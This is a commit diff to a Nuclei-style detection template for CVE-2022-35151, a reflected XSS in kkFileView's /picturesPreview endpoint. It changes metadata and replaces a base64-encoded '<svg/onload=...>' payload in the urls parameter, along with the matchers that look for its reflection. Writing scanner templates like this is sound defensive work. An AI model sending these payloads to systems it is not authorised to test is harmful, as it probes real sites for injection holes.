Update CVE-2022-35151.yaml

cves/2022/CVE-2022-35151.yaml

@@ -8,17 +8,18 @@ info:
     kkFileView v4.1.0 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.
   reference:
     - https://github.com/kekingcn/kkFileView/issues/366
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35151
     - https://nvd.nist.gov/vuln/detail/CVE-2022-35151
+  classification:
+    cve-id: CVE-2022-35151
   metadata:
-    verified: "true"
+    verified: true
     shodan-query: http.html:"kkFileView"
   tags: cve,cve2022,xss,kkfileview
 
 requests:
   - raw:
       - |
-        GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B HTTP/1.1
+        GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1
         Host: {{Hostname}}
 
     matchers-condition: and
@@ -26,12 +27,12 @@ requests:
       - type: word
         part: body
         words:
-          - "<svg/onload=alert(1)>"
+          - '<svg/onload=alert(document.domain)>'
 
       - type: word
         part: header
         words:
-          - "text/html"
+          - text/html
 
       - type: status
         status: